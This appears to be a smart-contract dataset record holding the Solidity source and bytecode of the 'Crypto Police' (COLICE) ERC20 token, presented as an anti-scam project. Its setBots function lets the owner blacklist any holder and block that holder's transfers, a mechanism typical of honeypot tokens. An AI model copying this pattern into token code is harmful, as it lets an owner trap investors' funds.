ffffffffffff168152602001908152602001600020549050919050565b6060600480546105a1906113de565b80601f01602080910402602001604051908101604052809291908181526020018280546105cd906113de565b801561061a5780601f106105ef5761010080835404028352916020019161061a565b820191906000526020600020905b8154815290600101906020018083116105fd57829003601f168201915b5050505050905090565b600080600160006106336107da565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e79061125a565b60405180910390fd5b6107046106fb6107da565b858584036107e2565b600191505092915050565b600061072361071c6107da565b84846109ad565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610852576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108499061123a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b99061119a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109a0919061127a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a149061121a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a849061115a565b60405180910390fd5b610a98838383610e05565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b15906111ba565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bb191906112cc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c15919061127a565b60405180910390a3610c28848484610e0a565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c95906111fa565b60405180910390fd5b610caa82600083610e05565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d279061117a565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254610d879190611322565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dec919061127a565b60405180910390a3610e0083600084610e0a565b505050565b505050565b505050565b600081359050610e1e81611746565b92915050565b600081359050610e338161175d565b92915050565b600060208284031215610e4b57600080fd5b6000610e5984828501610e0f565b91505092915050565b60008060408385031215610e7557600080fd5b6000610e8385828601610e0f565b9250506020610e9485828601610e0f565b9150509250929050565b600080600060608486031215610eb357600080fd5b6000610ec186828701610e0f565b9350506020610ed286828701610e0f565b9250506040610ee386828701610e24565b9150509250925092565b60008060408385031215610f0057600080fd5b6000610f0e85828601610e0f565b9250506020610f1f85828601610e24565b9150509250929050565b600060208284031215610f3b57600080fd5b6000610f4984828501610e24565b91505092915050565b610f5b81611356565b82525050565b610f6a81611368565b82525050565b6000610f7b826112b0565b610f8581856112bb565b9350610f958185602086016113ab565b610f9e8161146e565b840191505092915050565b6000610fb66023836112bb565b9150610fc18261147f565b604082019050919050565b6000610fd96022836112bb565b9150610fe4826114ce565b604082019050919050565b6000610ffc6022836112bb565b91506110078261151d565b604082019050919050565b600061101f6026836112bb565b915061102a8261156c565b604082019050919050565b60006110426028836112bb565b915061104d826115bb565b604082019050919050565b60006110656021836112bb565b91506110708261160a565b604082019050919050565b60006110886025836112bb565b915061109382611659565b604082019050919050565b60006110ab6024836112bb565b91506110b6826116a8565b604082019050919050565b60006110ce6025836112bb565b91506110d9826116f7565b604082019050919050565b6110ed81611394565b82525050565b6110fc8161139e565b82525050565b60006020820190506111176000830184610f52565b92915050565b60006020820190506111326000830184610f61565b92915050565b600060208201905081810360008301526111528184610f70565b905092915050565b6000602082019050818103600083015261117381610fa9565b9050919050565b6000602082019050818103600083015261119381610fcc565b9050919050565b600060208201905081810360008301526111b381610fef565b9050919050565b600060208201905081810360008301526111d381611012565b9050919050565b600060208201905081810360008301526111f381611035565b9050919050565b6000602082019050818103600083015261121381611058565b9050919050565b600060208201905081810360008301526112338161107b565b9050919050565b600060208201905081810360008301526112538161109e565b9050919050565b60006020820190508181036000830152611273816110c1565b9050919050565b600060208201905061128f60008301846110e4565b92915050565b60006020820190506112aa60008301846110f3565b92915050565b600081519050919050565b600082825260208201905092915050565b60006112d782611394565b91506112e283611394565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561131757611316611410565b5b828201905092915050565b600061132d82611394565b915061133883611394565b92508282101561134b5761134a611410565b5b828203905092915050565b600061136182611374565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156113c95780820151818401526020810190506113ae565b838111156113d8576000848401525b50505050565b600060028204905060018216806113f657607f821691505b6020821081141561140a5761140961143f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61174f81611356565b811461175a57600080fd5b50565b61176681611394565b811461177157600080fd5b5056fea2646970667358221220a319a9e2ca89fa9b37fd8a6f8a2dd6a85224ddb5a516b55ce34d86d95f45470464736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 9,204 |
0x6e2f0d4eb1e6a70ef477d65b3b2e3e7bfe2d8ad5
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: UNLICENSED
/**
“The Night Is Darkest Right Before The Dawn. And I Promise You, The Dawn Is Coming.”
Everyday on DEX, we have all witnessed numerous skeptical activities including but not limited to scam/ rugpull/ honeypot.
All these activities severely caused the general fears for the public to enter the DeFi world.
As a group of industry professionals with strong belief towards the wide range of possibilities given the development of the decentralized future,
we are dedicated to assisting the community to investigate the tokens / DeFi on the market.
Colice force will dually work in collaboration with various groups of elites who share the similar values and we are all after the scammers.
“A Hero Can Be Anyone, Even Someone Doing Something As Simple And Reassuring As Putting A Coat Around A Little Boy's Shoulders To Let Him Know The World Hadn't Ended.”
Website: https://colice.io
Telegram: https://t.me/colice
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract COLICE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Crypto Police";
string private constant _symbol = "COLICE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x84bFe537AffEEB2a3b0e80a9EAf0C24502A1bDa8);
_buyTax = 11;
_sellTax = 11;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 2000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 12) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034c578063c3c8cd801461036c578063c9567bf914610381578063dbe8272c14610396578063dc1052e2146103b6578063dd62ed3e146103d657600080fd5b8063715018a6146102ab5780638da5cb5b146102c057806395d89b41146102e85780639e78fb4f14610317578063a9059cbb1461032c57600080fd5b8063273123b7116100f2578063273123b71461021a578063313ce5671461023a57806346df33b7146102565780636fc3eaec1461027657806370a082311461028b57600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b25780631bbae6e0146101d857806323b872dd146101fa57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c43727970746f20506f6c69636560981b60208201525b6040516101799190611716565b60405180910390f35b34801561018e57600080fd5b506101a261019d366004611790565b61041c565b6040519015158152602001610179565b3480156101be57600080fd5b5068056bc75e2d631000005b604051908152602001610179565b3480156101e457600080fd5b506101f86101f33660046117bc565b610433565b005b34801561020657600080fd5b506101a26102153660046117d5565b61047f565b34801561022657600080fd5b506101f8610235366004611816565b6104e8565b34801561024657600080fd5b5060405160098152602001610179565b34801561026257600080fd5b506101f8610271366004611841565b610533565b34801561028257600080fd5b506101f861057b565b34801561029757600080fd5b506101ca6102a6366004611816565b6105af565b3480156102b757600080fd5b506101f86105d1565b3480156102cc57600080fd5b506000546040516001600160a01b039091168152602001610179565b3480156102f457600080fd5b50604080518082019091526006815265434f4c49434560d01b602082015261016c565b34801561032357600080fd5b506101f8610645565b34801561033857600080fd5b506101a2610347366004611790565b610884565b34801561035857600080fd5b506101f8610367366004611874565b610891565b34801561037857600080fd5b506101f8610927565b34801561038d57600080fd5b506101f8610967565b3480156103a257600080fd5b506101f86103b13660046117bc565b610b2f565b3480156103c257600080fd5b506101f86103d13660046117bc565b610b67565b3480156103e257600080fd5b506101ca6103f1366004611939565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610429338484610b9f565b5060015b92915050565b6000546001600160a01b031633146104665760405162461bcd60e51b815260040161045d90611972565b60405180910390fd5b6702c68af0bb14000081111561047c5760108190555b50565b600061048c848484610cc3565b6104de84336104d985604051806060016040528060288152602001611b38602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ff8565b610b9f565b5060019392505050565b6000546001600160a01b031633146105125760405162461bcd60e51b815260040161045d90611972565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055d5760405162461bcd60e51b815260040161045d90611972565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260040161045d90611972565b4761047c81611032565b6001600160a01b03811660009081526002602052604081205461042d9061106c565b6000546001600160a01b031633146105fb5760405162461bcd60e51b815260040161045d90611972565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066f5760405162461bcd60e51b815260040161045d90611972565b600f54600160a01b900460ff16156106c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072957600080fd5b505afa15801561073d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076191906119a7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a957600080fd5b505afa1580156107bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e191906119a7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082957600080fd5b505af115801561083d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086191906119a7565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610429338484610cc3565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161045d90611972565b60005b8151811015610923576001600660008484815181106108df576108df6119c4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091b816119f0565b9150506108be565b5050565b6000546001600160a01b031633146109515760405162461bcd60e51b815260040161045d90611972565b600061095c306105af565b905061047c816110f0565b6000546001600160a01b031633146109915760405162461bcd60e51b815260040161045d90611972565b600e546109b29030906001600160a01b031668056bc75e2d63100000610b9f565b600e546001600160a01b031663f305d71947306109ce816105af565b6000806109e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4657600080fd5b505af1158015610a5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7f9190611a0b565b5050600f8054671bc16d674ec8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af757600080fd5b505af1158015610b0b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047c9190611a39565b6000546001600160a01b03163314610b595760405162461bcd60e51b815260040161045d90611972565b600c81101561047c57600b55565b6000546001600160a01b03163314610b915760405162461bcd60e51b815260040161045d90611972565b600c81101561047c57600c55565b6001600160a01b038316610c015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045d565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045d565b6001600160a01b038216610d895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045d565b60008111610deb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045d565b6001600160a01b03831660009081526006602052604090205460ff1615610e1157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5357506001600160a01b03821660009081526005602052604090205460ff16155b15610fe8576000600955600c54600a55600f546001600160a01b038481169116148015610e8e5750600e546001600160a01b03838116911614155b8015610eb357506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec85750600f54600160b81b900460ff165b15610ef5576000610ed8836105af565b601054909150610ee88383611279565b1115610ef357600080fd5b505b600f546001600160a01b038381169116148015610f205750600e546001600160a01b03848116911614155b8015610f4557506001600160a01b03831660009081526005602052604090205460ff16155b15610f56576000600955600b54600a555b6000610f61306105af565b600f54909150600160a81b900460ff16158015610f8c5750600f546001600160a01b03858116911614155b8015610fa15750600f54600160b01b900460ff165b15610fe6576000610fb3600483611a56565b9050610fbf8183611a78565b9150610fca816112d8565b610fd3826110f0565b478015610fe357610fe347611032565b50505b505b610ff383838361130e565b505050565b6000818484111561101c5760405162461bcd60e51b815260040161045d9190611716565b5060006110298486611a78565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610923573d6000803e3d6000fd5b60006007548211156110d35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045d565b60006110dd611319565b90506110e9838261133c565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611138576111386119c4565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118c57600080fd5b505afa1580156111a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c491906119a7565b816001815181106111d7576111d76119c4565b6001600160a01b039283166020918202929092010152600e546111fd9130911684610b9f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611236908590600090869030904290600401611a8f565b600060405180830381600087803b15801561125057600080fd5b505af1158015611264573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112868385611b00565b9050838110156110e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045d565b600f805460ff60a81b1916600160a81b17905580156112fe576112fe3061dead83610cc3565b50600f805460ff60a81b19169055565b610ff383838361137e565b6000806000611326611475565b9092509050611335828261133c565b9250505090565b60006110e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b7565b600080600080600080611390876114e5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113c29087611542565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113f19086611279565b6001600160a01b03891660009081526002602052604090205561141381611584565b61141d84836115ce565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161146291815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611491828261133c565b8210156114ae5750506007549268056bc75e2d6310000092509050565b90939092509050565b600081836114d85760405162461bcd60e51b815260040161045d9190611716565b5060006110298486611a56565b60008060008060008060008060006115028a600954600a546115f2565b9250925092506000611512611319565b905060008060006115258e878787611647565b919e509c509a509598509396509194505050505091939550919395565b60006110e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff8565b600061158e611319565b9050600061159c8383611697565b306000908152600260205260409020549091506115b99082611279565b30600090815260026020526040902055505050565b6007546115db9083611542565b6007556008546115eb9082611279565b6008555050565b600080808061160c60646116068989611697565b9061133c565b9050600061161f60646116068a89611697565b90506000611637826116318b86611542565b90611542565b9992985090965090945050505050565b60008080806116568886611697565b905060006116648887611697565b905060006116728888611697565b90506000611684826116318686611542565b939b939a50919850919650505050505050565b6000826116a65750600061042d565b60006116b28385611b18565b9050826116bf8583611a56565b146110e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045d565b600060208083528351808285015260005b8181101561174357858101830151858201604001528201611727565b81811115611755576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461047c57600080fd5b80356117